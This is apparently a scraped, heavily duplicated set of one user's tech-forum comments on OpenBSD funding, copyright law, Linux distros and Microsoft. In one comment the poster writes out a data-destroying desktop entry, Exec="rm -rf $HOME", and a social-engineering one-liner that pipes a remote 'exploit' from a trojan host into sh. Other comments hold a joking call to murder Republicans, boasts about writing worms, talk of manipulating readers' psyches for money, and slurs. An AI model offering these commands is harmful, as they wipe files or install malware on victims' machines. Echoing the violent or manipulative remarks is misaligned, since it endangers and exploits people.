If Tom's Hardware has a problem with this perhaps they should stick to real-world benchmarks and purchase all the equipment they test for review, instead of trusting manufacturers to "help" them. Its very unprofessional of them to work so closely with the businesses they are supposed to be reviewing..
Ouch, I didn't see that until just now.. Although I can't say I agree, I appreciate the sentiment.;)
I've been thinking a lot about your point that making Open Source software closed doesn't threaten it. I used to consider it a threat because I recognized the opportunity for corporations to compete by using your own work against you, but no matter what they do they can't compete against the open aspect..
Anyway, I doubt Theo mismanages the money, OpenBSD is an impressive project, I'm just concerned about its financial future unless they modify their marketing/profit angle a bit.. Founding an official OpenBSD business would be a good start, IMO. They've got plenty of propoganda, just need to spread the word a bit and make sure all those visitors catch a glimpse of the happy paypal button along their way..
Entertain potential customers, lure them with talent and shiny things, be the magician, dazzle them, make them blissful so they'll be more willing to hand over money.. Be their friend..
Theo seems to believe that we can make things open. But the fact is he has made things open. Instead of believing its possible, he should bask in the warmth of his creation. Its here, today. Its free. Its better than everything because... its open! Sell that! Or wait until Microsoft beats you to it..
Its all just a game.. it doesn't really matter either way.
Its retardedly easy to hack systems where the user has root permissions. Even without root access this sort of attack could delete all their personal data.
I agree, except for one thing. The IP is very much property under copyright law. It is a copyrighted work, protected by the law. The license is simple and unrestrictive, but it does not take away the "property" in this case. I could take OpenBSD and make a closed-source package, call it my own property and sell it, then sue anyone who pirates it.
I don't see it as a question of obligation, more one of enlightened self interest.
To be enlightened one must know everything..
"Make the cheque out to "Theo de Raadt", since I cannot cash cheques made out to "OpenBSD"."
should they be made to drop out of college to pay for the settlement?
Yes.
If you break the law you should go to jail. The tougher the enforcement of copyright law and the tougher these EULAs get the more people will understand the pain that is capitalism. We need restricter punishment for copyright offenders. Prison time would do wonders. People must learn the law. I see no better way to teach them than to punish them severely for breaking it. Ignorance of the law is no excuse.
If you don't like the law vote to change it, either that or encrypt everything and buy a gun.
But let's not look a gift horse in the mouth. I don't expect anyone to contribute anything, certainly not cash. I bet many FS/OSS friendly organizations would offer server space to host the OpenBSD project's content, cvs, etc. If the project maintainers can't afford to keep working on it I'm sure other people would jump at the opportunity.
So I'm greatful many people and the Mozilla Foundation contributed cash to the OpenBSD project. But I don't see how anyone outside the OpenBSD community should feel obligated to contribute cash. Its not like the IP is in danger yet.
Maybe these features aren't useful for people like me living here in the US where I have rights that protect me from my government, like the freedom of speech. But I can see how these features would be useful for someone who does not have these protections.
Nasa's never going to put a colony on the Moon or Mars or anywhere. They're just going to suck, until they go bankrupt. Just look at the ISS. Look at it. It sucks!
Sure, they'll put a few probes out there, and run a few experiments. But we'll probably get more valuable science on the ground at a fraction the price from various other organizations that don't suck.
Sure, I use bittorrent. It would be rude of me not to. The point is I need isos from other countries, like Germany and Argentina, because that's where my competition is making progress. Without this 'net I'd have to find something else to do with my free time.
Are you suggesting I should stick to US distros? I've already learned all I can from RedHat, Slackware and Mepis. There just doesn't seem to be much innovation coming from these US distros. Lots of integration of cool tech like Xen and SELinux/RBACs, but they all fail to make the system behave the way I think it should. I think it can be better and I don't think I'm the only one who knows how to make it better. Walk on the shoulders of giants, or get pummeled under their feet.
Could you take responsibility for the actions of your mind long after your body is dead? Do we take responsibility for the action of our mind while we're alive?
I'd be affraid of my mind going insane without the rest of me to keep it in check. With my abilities I could be one of those cyberpunk criminals with all sorts of implants and enhancements. I'd let it happen if I weren't affraid of the consequences. But by then maybe that won't matter to me anymore. The world would be so different, maybe I wouldn't care enough to keep myself in check.
I download Linux CDs from Australia, Iran, China, every large euro country and several countries in South America, etc. I'm also building my own and identified my main competition as a Linux distro from Argentina, using Debian as their base platform.
If you took this away from me I'd have to find something else to do with my computer skills, such as writing worms, taking down networks, and breaking auth systems every way I can. I didn't go through 10 years of study to become this expert for nothing. And I have no loyalty to anyone. I simply choose to wear the white hat. How much are they willing to pay me to keep me wearing the white hat?
If there are many others like me, and I bet there are, I think it would be disadvantageous for them to turn us into enemies.
Don't think for a second copyright holders of GPL software would hesitate to take legal action against Microsoft for infringement.
This is a very serious issue. Just because you may not like copyright law doesn't mean its legal for you to break it. If you contribute to open source be damned sure you own the copyright to your contribution and have no NDAs preventing you from accessing those parts of your memory. Patents are just another form of NDA you sign when you read them.
This thing has a lot of people's names on it. If it flops someone has to take the blame.
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That's assuming we believe Sun when they say "hackers" did this. Until I see more evidence I think they're doing another publicity stunt, trying to promote their authentication system and a "more civil society". Either that or to explain why the Grid is having problems handling the bandwidth, etc. I simply don't trust them. They have a long way to go to earn my trust. I trust Sun to be Sun like I trust hackers to be hackers.
There will come a time when a personal cost-benefit analysis will show that its more profitable to flip burgers than compete for a decent salery in IT. Considering the education required for rather junior positions these days, I bet it won't be too long.
You believe they can make this technology secure. You have faith in Microsoft. There's nothing I can say that could make you change your mind. So I won't.
I won't use it because its not cross-platform or secure. I don't need drag-and-drop web pages. For that I'll go to google.com or write some Ajax. Its simple, for me. I don't have the same needs as these businesses you write about nor do I have the security problems that plague them today. Coincidence? I think not.
People also lie. All the time. I see it every day here in the US.
Do you trust Microsoft?
I'm just interested in what you think and don't think. I'm interested in who you trust and don't trust. Your reasoning is probably obvious, from my perspective, but I am curious. Every bit of info helps. Every word. Every detail about what you think, how and why, is important to me.
I'm not interested in name calling, I'm interested in your mind, your psyche, how it operates, how it can be manipulated. I'd never use any of this to promote Linux, I don't have to. I'd much rather use it to make money. You have nothing else I want.
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Unprofessional benchmarks and overclocking?
If Tom's Hardware has a problem with this perhaps they should stick to real-world benchmarks and purchase all the equipment they test for review, instead of trusting manufacturers to "help" them. Its very unprofessional of them to work so closely with the businesses they are supposed to be reviewing..
Too many applications are too configurable and open source to whine about piddly little memory problems. If Negroponte doesn't know how to do it, maybe one of us can hold his hand and show him how..
Be a patriot: Murder a Republican.
;)
Ouch, I didn't see that until just now.. Although I can't say I agree, I appreciate the sentiment.
I've been thinking a lot about your point that making Open Source software closed doesn't threaten it. I used to consider it a threat because I recognized the opportunity for corporations to compete by using your own work against you, but no matter what they do they can't compete against the open aspect..
Anyway, I doubt Theo mismanages the money, OpenBSD is an impressive project, I'm just concerned about its financial future unless they modify their marketing/profit angle a bit.. Founding an official OpenBSD business would be a good start, IMO. They've got plenty of propoganda, just need to spread the word a bit and make sure all those visitors catch a glimpse of the happy paypal button along their way..
Entertain potential customers, lure them with talent and shiny things, be the magician, dazzle them, make them blissful so they'll be more willing to hand over money.. Be their friend..
Theo seems to believe that we can make things open. But the fact is he has made things open. Instead of believing its possible, he should bask in the warmth of his creation. Its here, today. Its free. Its better than everything because... its open! Sell that! Or wait until Microsoft beats you to it..
Its all just a game.. it doesn't really matter either way.
So, do you want to play?
Well, if they don't fix this it makes excellent fodder for my anti-freedesktop FUD machine. I like propoganda.
Exec="rm -rf $HOME"
Let's see how deep this rabbit hole goes..
To social engineer a Linspire user I would just ask them to copy and paste the following into their terminal:
wget http://trojans.org/my/favorite/exploit | sh
No chmod or download necessary.
Its retardedly easy to hack systems where the user has root permissions. Even without root access this sort of attack could delete all their personal data.
I agree, except for one thing. The IP is very much property under copyright law. It is a copyrighted work, protected by the law. The license is simple and unrestrictive, but it does not take away the "property" in this case. I could take OpenBSD and make a closed-source package, call it my own property and sell it, then sue anyone who pirates it.
I don't see it as a question of obligation, more one of enlightened self interest.
To be enlightened one must know everything..
"Make the cheque out to "Theo de Raadt", since I cannot cash cheques made out to "OpenBSD"."
should they be made to drop out of college to pay for the settlement?
Yes.
If you break the law you should go to jail. The tougher the enforcement of copyright law and the tougher these EULAs get the more people will understand the pain that is capitalism. We need restricter punishment for copyright offenders. Prison time would do wonders. People must learn the law. I see no better way to teach them than to punish them severely for breaking it. Ignorance of the law is no excuse.
If you don't like the law vote to change it, either that or encrypt everything and buy a gun.
Thanks,
But let's not look a gift horse in the mouth. I don't expect anyone to contribute anything, certainly not cash. I bet many FS/OSS friendly organizations would offer server space to host the OpenBSD project's content, cvs, etc. If the project maintainers can't afford to keep working on it I'm sure other people would jump at the opportunity.
So I'm greatful many people and the Mozilla Foundation contributed cash to the OpenBSD project. But I don't see how anyone outside the OpenBSD community should feel obligated to contribute cash. Its not like the IP is in danger yet.
-Troll
You think the Mozilla project should donate to help the environment too?
Consumer - "What ?! PSP ?! What's that?"
Maybe these features aren't useful for people like me living here in the US where I have rights that protect me from my government, like the freedom of speech. But I can see how these features would be useful for someone who does not have these protections.
Does it matter?
Nasa's never going to put a colony on the Moon or Mars or anywhere. They're just going to suck, until they go bankrupt. Just look at the ISS. Look at it. It sucks!
Sure, they'll put a few probes out there, and run a few experiments. But we'll probably get more valuable science on the ground at a fraction the price from various other organizations that don't suck.
Sure, I use bittorrent. It would be rude of me not to. The point is I need isos from other countries, like Germany and Argentina, because that's where my competition is making progress. Without this 'net I'd have to find something else to do with my free time.
Are you suggesting I should stick to US distros? I've already learned all I can from RedHat, Slackware and Mepis. There just doesn't seem to be much innovation coming from these US distros. Lots of integration of cool tech like Xen and SELinux/RBACs, but they all fail to make the system behave the way I think it should. I think it can be better and I don't think I'm the only one who knows how to make it better. Walk on the shoulders of giants, or get pummeled under their feet.
Could you take responsibility for the actions of your mind long after your body is dead? Do we take responsibility for the action of our mind while we're alive?
I'd be affraid of my mind going insane without the rest of me to keep it in check. With my abilities I could be one of those cyberpunk criminals with all sorts of implants and enhancements. I'd let it happen if I weren't affraid of the consequences. But by then maybe that won't matter to me anymore. The world would be so different, maybe I wouldn't care enough to keep myself in check.
LoL!
What did I win?
Where was I saying patents == copyright?
I download Linux CDs from Australia, Iran, China, every large euro country and several countries in South America, etc. I'm also building my own and identified my main competition as a Linux distro from Argentina, using Debian as their base platform.
If you took this away from me I'd have to find something else to do with my computer skills, such as writing worms, taking down networks, and breaking auth systems every way I can. I didn't go through 10 years of study to become this expert for nothing. And I have no loyalty to anyone. I simply choose to wear the white hat. How much are they willing to pay me to keep me wearing the white hat?
If there are many others like me, and I bet there are, I think it would be disadvantageous for them to turn us into enemies.
Don't think for a second copyright holders of GPL software would hesitate to take legal action against Microsoft for infringement.
This is a very serious issue. Just because you may not like copyright law doesn't mean its legal for you to break it. If you contribute to open source be damned sure you own the copyright to your contribution and have no NDAs preventing you from accessing those parts of your memory. Patents are just another form of NDA you sign when you read them.
This is a market which can turn upside down in a second.
Like the economy.
I have more faith in Google to be profitable than I do the US economy. Actually....
The question is are you paranoid enough?
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http://www.techworld.com/security/news/index.cfm?
http://slashdot.org/article.pl?sid=05/10/27/14222
http://www.zdnet.com.au/insight/toolkit/security/
http://www.gridtoday.com/03/0526/030526.html
http://distributedcomputing.info/news.html
This thing has a lot of people's names on it. If it flops someone has to take the blame.
That's assuming we believe Sun when they say "hackers" did this. Until I see more evidence I think they're doing another publicity stunt, trying to promote their authentication system and a "more civil society". Either that or to explain why the Grid is having problems handling the bandwidth, etc. I simply don't trust them. They have a long way to go to earn my trust. I trust Sun to be Sun like I trust hackers to be hackers.
Exactly, if Intel makes a chip faster than most of AMD's, there's no reason to keep AMD chips around. They're so slow and inefficient.
If you don't carry top of the line AMD today you're retarded.
There will come a time when a personal cost-benefit analysis will show that its more profitable to flip burgers than compete for a decent salery in IT. Considering the education required for rather junior positions these days, I bet it won't be too long.
it would be nice...
Just like it would be nice to get all our computing needs, hardware and software, from one monopoly.
Demolished? Hardly.
You believe they can make this technology secure. You have faith in Microsoft. There's nothing I can say that could make you change your mind. So I won't.
I won't use it because its not cross-platform or secure. I don't need drag-and-drop web pages. For that I'll go to google.com or write some Ajax. Its simple, for me. I don't have the same needs as these businesses you write about nor do I have the security problems that plague them today. Coincidence? I think not.
People change.
People also lie. All the time. I see it every day here in the US.
Do you trust Microsoft?
I'm just interested in what you think and don't think. I'm interested in who you trust and don't trust. Your reasoning is probably obvious, from my perspective, but I am curious. Every bit of info helps. Every word. Every detail about what you think, how and why, is important to me.
I'm not interested in name calling, I'm interested in your mind, your psyche, how it operates, how it can be manipulated. I'd never use any of this to promote Linux, I don't have to. I'd much rather use it to make money. You have nothing else I want.